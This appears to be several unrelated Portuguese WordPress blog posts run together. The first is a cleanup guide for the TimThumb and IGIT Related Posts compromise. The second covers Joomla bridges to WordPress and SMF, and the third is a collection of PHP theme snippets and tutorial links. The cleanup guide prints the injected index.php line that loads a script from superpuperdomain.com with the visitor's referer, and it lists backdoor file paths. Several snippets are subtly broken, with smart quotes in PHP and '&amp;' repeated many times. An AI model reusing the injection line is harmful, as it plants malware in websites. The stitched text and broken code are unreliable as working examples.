Nos últimos dias, diversas instalações de WordPress têm sido afectadas por uma vulnerabilidade no Timthumb, script utilizado por muitos themes para gerar miniaturas e mais recentemente no IGIT Related Posts, um plugin que mostra os artigos relacionados com miniatura. Apesar de ser um problema alheio ao WordPress em si, todos os bloggers e webmasters que tenham sites em WordPress, devem proceder à respectiva actualização e desinfecção:

Passo prévio: efectua uma cópia de segurança antes de qualquer alteração.

1. Verifica se o theme possui o script timthumb.php

No painel de admin do WordPress, clica em Apresentação – Editor e procura um ficheiro chamado timthumb.php, thumb.php ou um nome semelhante. Caso não exista, não é necessário efectuar qualquer alteração. Se existir, abre o ficheiro e substitui todo o código no interior do mesmo por este aqui. Guarda as alterações.

2. Verifica se utilizas o plugin IGIT Related Posts

No painel de admin do WordPress, clica em Plugins e verifica se tens um plugin com este nome. Em caso afirmativo, desactiva-o e remove-o – pelo menos enquanto não for lançada uma actualização, que pode ser acompanhada na página do plugin. Tendo em conta que este plugin também possui hidden links, pessoalmente recomendo desinstalar de vez e procurar uma solução alternativa.

3. Verifica se tens ficheiros infectados no interior do site

Acede à raiz do WordPress via FTP ou Explorador de Ficheiros do cPanel e verifica se tens os seguintes ficheiros:

• /wp-admin/js/config.php
• /wp-admin/common.php
• /wp-admin/upd.php
• /wp-content/upd.php

Em caso afirmativo, remove-os.

4. Desinfecta o index.php

Acede ao index.php que se encontra na raíz da instalação do WordPress e verifica se no mesmo tens a seguinte linha de código:

echo ' script type="text/javascript" language="javascript"
src="http://superpuperdomain.com/count.php?ref='.urlencode($_SERVER['HTTP_REFERER']) .'

Em caso afirmativo, remove essa porção de código, grava e faz o upload do ficheiro agora limpo, para a raiz do site.

5. Procedimentos de segurança

Nunca é demais relembrar que a melhor forma de não teres os sites atacados, é prevenir esses ataques. Adopta comportamentos de segurança tais como manter o WordPress actualizado, assim como todos os plugins e themes, e nestes últimos procura instalar apenas de autores de confiança e sobretudo, verifica se estas extensões são pagas ou gratuitas, porque existem sites a distribuir plugins e themes premium (pagos) de forma gratuita, portanto pirateados, com a contrapartida de estarem infectados e/ou com spam links.

A segurança das passwords de acesso ao site, ftp, cpanel, bem como a limpeza do computador a partir do qual acedes, são factores igualmente importantes.

Mais informação:

• RSS Feed Crash
• PHP Remote View Attack

Podes acompanhar também o tópico de discussão no fórum.

Como é que estas plataformas vão estar interligadas?

Estas plataformas vão estar interligadas todas a partir do joomla, ou seja, vão ter a base de dados (bd) dos users do joomla e essa bd vai servir de base para todas as funções do portal. Isto é, através de um login, o utilizador ao registar-se no vosso site, vai ter acesso ao blog e aos seus comentários (se apenas users registados poderem comentar), vai ter acesso ao fórum, e cada vez que altere o seu perfil no fórum, os campos são actualizados automaticamente no joomla, o que faz com que esteja sempre tudo sincronizado. Isto é possível através de bridges, estes sistemas, tal como o nome indica servem para fazer a “ponte de ligação” entre diferentes CMS. É importante também referir que as bridges que vamos utilizar são bridges não intrusivas, ou seja, não é necessário alterações nos códigos dos diferentes cms para que tudo funcione na perfeição.

Software necessário e links de demonstração

• Joomla
• WordPress
• SMF
• Integração joomla+wordpress
• Bridge joomla+smf
• Demo joomla+wordpress
• Demo joomla+smf

Quais as vantagens de ter o joomla e o wordpress no mesmo site?

Para quem conhece bem as duas plataformas sabe que ambas têm as suas vantagens. Por um lado o wordpress é óptimo para SEO, a sua estrutura é feita quase completamente a pensar nos motores de busca, dai o wordpress ser uma plataforma tão popular, as pessoas começam a escrevem e passado uns dias já estão a receber visitas e não fazem a mínima ideia de como isto aconteceu. O seu sistema de backoffice é muito mais simples e userfriendly que o do joomla, a sua “taxonomia”, ou seja, o seu sistema de categorização dos artigos também é diferente e poderá ser mais interessante, os plugins para wordpress para gerar mais comentários, para submeter os artigos à websocial, para ganhar mais subscritores …etc, estes são os aspectos que o wordpress deixa o joomla a um canto, logo se vamos ter isto tudo dentro do joomla, só temos a ganhar. O joomla tem as suas vantagens também relativamente ao wordpress, o seu sistema modular de templates é uma maravilha para quem constrói sites, não há nada ou nenhum sítio onde não se possa inserir qualquer coisa a partir da administração do joomla sem ser necessário qualquer conhecimento a nível de programação web. Mas isto de ter um joomla e um wordpress tem muito que se lhe diga, no final deste artigo vamos ver mais ferramentas que poderão levar o nosso site a um outro nível!

Quais as vantagens de ter o SMF ligado ao joomla?

Como todos sabemos os fóruns são quase sempre iguais, a mesma estrutura de templates, a mesma monotonia, os mesmos links …etc. Quando temos um fórum claro que não vamos querer re-inventar a roda, pois normalmente os fóruns têm muitas categorias, o que torna a sua navegação por vezes muito complicada para um utilizador que chega pela primeira vez ao nosso fórum. Mas se em vez de re-inventarmos a roda, a pudéssemos tornar mais apelativa, era óptima certo?!
Como é que o joomla entra neste aspecto no vosso fórum, de uma maneira muito simples, o vosso fórum irá ficar como um componente do joomla, ou seja, vão ter o mesmo header em todo o site e estrutura de template do joomla, os templates para joomla são muito mais elaborados e trabalhados, logo, em termos de design o vosso site poderá ganhar muito com isto. Outro exemplo e muito simples, é este, imaginem que querem inserir publicidade no vosso fórum, têm de estar a instalar um mod, se o mod não for compatível com a template do fórum vai ser uma dor de cabeça enorme pois temos de instalar tudo à mão …etc, com o joomla isto deixa de ser um problema, basta instalarem um modulo para joomla para esse efeito e activarem-no para aparecer na secção do vosso fórum, simples.

Não esquecer que não são obrigados a usar o fórum dentro do joomla podem ser usar o fórum fora do joomla e ter também a sincronização com a bd, ou seja, a bridge com o joomla.

Então e os diferentes sistemas de templates e as header tags?

Os componentes que vamos utilizar já vêm preparados para estas dificuldades, no entanto se por algum motivo a template ou a theme que estiverem a usar vos trouxer complicações neste aspecto, a solução é simples basta removerem as header tags da theme do wordpress ou do smf para deixarem de ter duplicações de títulos e descrições.

No entanto como podemos verificar nesta demo do componente, não existe qualquer problema nesse aspecto.

• Ver demo joomla+wordpress

Quais são as funcionalidades que o wordpress vai ter dentro do joomla?

Vamos dar uma vista de olhos nas funcionalidades deste componente, que são uma autentica maravilha e não digam que eu não avisei…

• É um componente nativo para joomla 1.5;
• Páginas dinâmicas;
• Páginas, conteúdo estático, como a página de “sobre/about”;
• WordPress links, blogroll;
• WordPress Themes;
• Ferramentas de comunicação cross-blog (trackbacks e pingbacks);
• Comentários;
• Protecção contra spam;
• Completa integração de utilizadores com joomla;
• Posts protegidos com password;
• Actualização simples do componente;
• XML-RPC interface;
• Níveis de utilizador;
• ASCII to correct XHTML;
• Ping away;
• Criar, publicar …etc, posts através do Iphone;
• Posts via mail;
• Adicionar ou remover o título do blog;
• Adicionar ou remover a sidebar;
• Opções diferentes para CSS;
• Ligar/desligar sincronização automática com o joomla;
• Ligar/desligar nomes do autores nos posts;
• Suporte ao plugins mais populares;

Ver funcionalidades completas aqui

Quais as funcionalidades do SMF dentro do joomla?

• Utilizadores podem ser sincronizados do joomla para o smf e vice-versa;
• Login duplo, ou seja, tanto no joomla como no smf;
• Usar como wrapper ou frameless;
• Usar como externo;
• Avatares e pm’s no modulo de login;
• Modulo de actividade;
• Login check através do componente;

Ver painel completo aqui

Levar o joomla a um outro nível!

Com o a utilização do componente jfsuion para a integração do smf, temos também a hipotese de levar o joomla a um outro nível no que toca à integração com outros cms. Este componente permite também integrar outro site em joomla, com a instalação de joomla principla, permite integrar outras plataformas de fórum como o vbulettin, o phpbb, ou o mybb, permite integrar o poderoso sistema de e-commerce, o magento e permite também integrar o sistema de e-learing moodle. A partir daqui as possibilidades de expandirmos o nosso site são tantas que era preciso um livro para falar disto tudo… Mas se utilizarem este sistema podem sempre colocar as dúvidas no nosso fórum que estamos por lá para ajudar no que podermos.

Outros componentes para maximizar o joomla

• mosets
• Rocketwerx
• Yoo tools
• Joomla works
• K2
• Zoo
• Joom Suite
• Sobi
• Reviews for joomla
• Alpha Content

Espero que tenham gostado desta dica e desculpem-me este pequeno interregno na colocação de posts, mas a quantidade de queimas que existe neste país é uma coisa absurda ;). Se utilizarem alguma destas dicas na contrução do vosso site deixem o link para ficarmos a conhecer.

Recursos úteis

Estes dois documentos são a bíblia de quem desenvolve themes para wordpress, o primeiro têm todas as tags necessárias à criação de um theme, o segundo mostra-nos configurações já mais avançadas e sempre úteis para quem já tem alguma experiência na construção de layouts para esta plataforma.

The WordPress Help Sheet -> site | documento
The Advanced WordPress Help Sheet -> site | documento

Códigos úteis

(Atenção para copiar os códigos aconselha-mos a clicar em “view source” no menu das caixas de código)

Mostrar posts recentes

<?php query_posts('showposts=5'); ?>
<ul>
<?php while (have_posts()) : the_post(); ?>
<li><a href="<?php the_permalink() ?>"><?php the_title(); ?></a></li>
<?php endwhile;?>
</ul>

Mostrar posts/pages recentemente actualizados

<code><?php
$today = current_time('mysql', 1);
$howMany = 5; //Number of posts you want to display
if ( $recentposts = $wpdb->get_results("SELECT ID, post_title FROM $wpdb->posts WHERE post_status = 'publish' AND post_modified_gmt < '$today' ORDER BY post_modified_gmt DESC LIMIT $howMany")):
?>
<h2><?php _e("Recent Updates"); ?></h2>
<ul>
<?php
foreach ($recentposts as $post) {
if ($post->post_title == '') $post->post_title = sprintf(__('Post #%s'), $post->ID);
echo "<li><a href='".get_permalink($post->ID)."'>";
the_title();
echo '</a></li>';
}
?>
</ul>
<?php endif; ?></code>

Mostrar comentários recentes

<code><?php
global $wpdb;
$sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID,
comment_post_ID, comment_author, comment_date_gmt, comment_approved,
comment_type,comment_author_url,
SUBSTRING(comment_content,1,30) AS com_excerpt
FROM $wpdb->comments
LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID =
$wpdb->posts.ID)
WHERE comment_approved = '1' AND comment_type = '' AND
post_password = ''
ORDER BY comment_date_gmt DESC
LIMIT 10";
$comments = $wpdb->get_results($sql);
$output = $pre_HTML;
$output .= "\n<ul>";
foreach ($comments as $comment) {
$output .= "\n<li>".strip_tags($comment->comment_author)
.":" . "<a href=\"" . get_permalink($comment->ID) .
"#comment-" . $comment->comment_ID . "\" title=\"on " .
$comment->post_title . "\">" . strip_tags($comment->com_excerpt)
."</a></li>";
}
$output .= "\n</ul>";
$output .= $post_HTML;
echo $output;?></code>

Mostrar Top de comentários

<code><?php $result = $wpdb->get_results("SELECT comment_count,ID,post_title FROM $wpdb->posts ORDER BY comment_count DESC LIMIT 0 , 10");
foreach ($result as $topten) {
$postid = $topten->ID;
$title = $topten->post_title;
$commentcount = $topten->comment_count;
if ($commentcount != 0) { ?>
<li><a href="<?php echo get_permalink($postid); ?>" title="<?php echo $title ?>"><?php echo $title ?></a></li>
<?php } } ?></code>

Mostrar categorias

<code><h2>Categories</h2>
<ul>
<?php wp_list_cats('sort_column=name'); ?>
</ul></code>

Mostrar arquivos

<code><h2>Archives</h2>
<ul>
<?php wp_get_archives('type=monthly'); ?>
</ul></code>

Mostrar menu de páginas na sidebar

<code><h2>Pages</h2>
<ul>
<?php wp_list_pages('title_li='); ?>
</ul></code>

Mostrar gravatars

<code><?php if(function_exists(’get_avatar’)){ echo get_avatar($comment, ‘50?);} ?></code>

Mostrar links do blogroll

<code><ul>
<?php get_links_list(); ?>
</ul></code>

Mostrar secção da Admin

<code><ul>
<?php wp_register(); ?>
<li><?php wp_loginout(); ?></li>
<li><a href="http://www.wordpress.org/">WordPress</a></li>
<?php wp_meta(); ?>
<li><a href="http://validator.w3.org/check?uri=referer">XHTML</a></li>
</ul></code>

Mostrar nuvem de tags

<code><?php wp_tag_cloud('smallest=8&amp;amp;amp;amp;amp;amp;amp;amp;amp;largest=36&amp;amp;amp;amp;amp;amp;amp;amp;amp;'); ?></code>

Mostrar entradas mais recentes do seu twitter

<code><?php
// Your twitter username.
$username = "TwitterUsername";
// Prefix - some text you want displayed before your latest tweet.
// (HTML is OK, but be sure to escape quotes with backslashes: for example href=\"link.html\")
$prefix = "";
// Suffix - some text you want display after your latest tweet. (Same rules as the prefix.)
$suffix = "";
$feed = "http://search.twitter.com/search.atom?q=from:" . $username . "&amp;amp;amp;amp;amp;amp;amp;amp;amp;rpp=1";
function parse_feed($feed) {
$stepOne = explode("<content type=\"html\">", $feed);
$stepTwo = explode("</content>", $stepOne[1]);
$tweet = $stepTwo[0];
$tweet = str_replace(”&amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;”, “<”, $tweet);
$tweet = str_replace(”&amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;”, “>”, $tweet);
return $tweet;
}
$twitterFeed = file_get_contents($feed);
echo stripslashes($prefix) . parse_feed($twitterFeed) . stripslashes($suffix);
?></code>

Tutoriais de Worpdress

Criação de themes

• Designing for WordPress
• Developing a WordPress Theme
• How to Create a WordPress Theme from Scratch
• How to Create WordPress Themes from Scratch – Part 1
• How to Create WordPress Themes from Scratch – Part 2
• Dissection of a WordPress Theme – Part 1
• So You Want to Create WordPress Themes Huh?
• From XHTML/CSS to WordPress

Vários truques e dicas

• WordPress Theme Hacks
• Mastering Your WordPress Theme Hacks and Techniques
• The Most Desired WordPress Hacks: 11 Common Requests and Fixes
• Compilation of WordPress Hacks

Menus e navegação

• Creating Two-Tiered Conditional Navigation in WordPress
• Using Sliding Doors with WordPress Navigation

WordPress com esteróides

• How to Use WordPress as a Membership Directory
• Using a WordPress Page as Your Homepage
• Build a Dynamic Design Portfolio with WordPress
• How to Separate WordPress Comments and Trackbacks

Pimp my wordpress

• Client Friendly WordPress Themes: Header.php
• Simple Random Header Image for Your Blog
• Creating a Widget-Ready Footer in WordPress
• How to Install DomTABs on WordPress
• WordPress Sidebar Turned Apple-Flashy Using jQuery UI
• Creating a Life-Stream and Social Media Hub
• Create a YouTube Section with WordPress
• Styling Individual Posts Using the_ID
• Multiple WordPress Page Layouts in One Single Template
• How to Create a Featured Post Carousel for WordPress
• Create a Tabbed Featured Post Area in WordPress

SEO

• WordPress SEO
• Blocking Your WordPress Categories and Archives from Google
• WordPress and SEO
• SEO for WordPress Tips

Documentação oficial do WordPress

Theme Development
Este artigo cobre o essencial sobre a criação de themes em wordpress, bem como outras importantes referências sobre a criação de themes na página oficial da plataforma.

The Loop
Fala sobre os detalhes do loop, um dos elementos essenciais no sistema de themes do wp.

Creating an Archive Index

Existem dezenas de opções diferentes no que toca à representação do ficheiro dos arquivos.

Customizing Your Sidebar
As sibebars têm dezenas de apresentações possíveis, dá uma vista de olhos.

Conditional Tags
Para criar themes versáteis em wordpress é essencial +erceber o funcionamento das conditional tags.

Stepping into Templates

O básico do funcionamento das themes

Template Hierarchy
Explica como as templates funcionam juntas na theme.

Using Custom Fields
Se és developer os custom fields abrem tudo um mundo novo de oportunidades.

Search Engine Optimization for WordPress
Artigo geral sobre SEO em wp.

Qualquer dúvida que tenha sobre o wordpress pode colocar no nosso forum de suporte a esta plataforma.